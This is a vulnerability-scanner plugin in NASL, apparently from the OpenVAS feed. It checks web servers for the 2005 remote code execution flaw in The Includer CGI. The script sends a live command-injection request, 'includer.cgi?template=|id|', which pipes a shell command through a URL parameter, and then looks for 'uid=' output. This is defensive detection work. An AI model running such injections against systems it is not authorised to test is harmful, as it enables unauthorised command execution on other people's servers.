The Includer RCE Vulnerability

# SPDX-FileCopyrightText: 2005 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20296");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_cve_id("CVE-2005-0689");
  script_xref(name:"OSVDB", value:"14624");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("The Includer RCE Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 David Maciejak");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"https://marc.info/?l=bugtraq&m=111021730710779&w=2");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/12738");

  script_tag(name:"summary", value:"The Includer is prone to a remote code execution (RCE) vulnerability.");

  script_tag(name:"impact", value:"The version of The Includer installed on the remote host allows an
  attacker to execute arbitrary shell commands by including shell meta-characters as part of the URL.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the
  disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to
  upgrade to a newer release, disable respective features, remove the product or replace the product by
  another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);

foreach dir( make_list_unique( "/includer", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  req = http_get( item:string( dir, "/includer.cgi?template=vt-test" ), port:port );
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if(!res) continue;

  if ( "document.write" >< res && "uid=" >!< res ) {
    http_check_remote_code( unique_dir:dir, check_request:"/includer.cgi?template=|id|", check_result:"uid=[0-9]+.*gid=[0-9]+.*", command:"id", port:port );
  }
}

exit( 0 );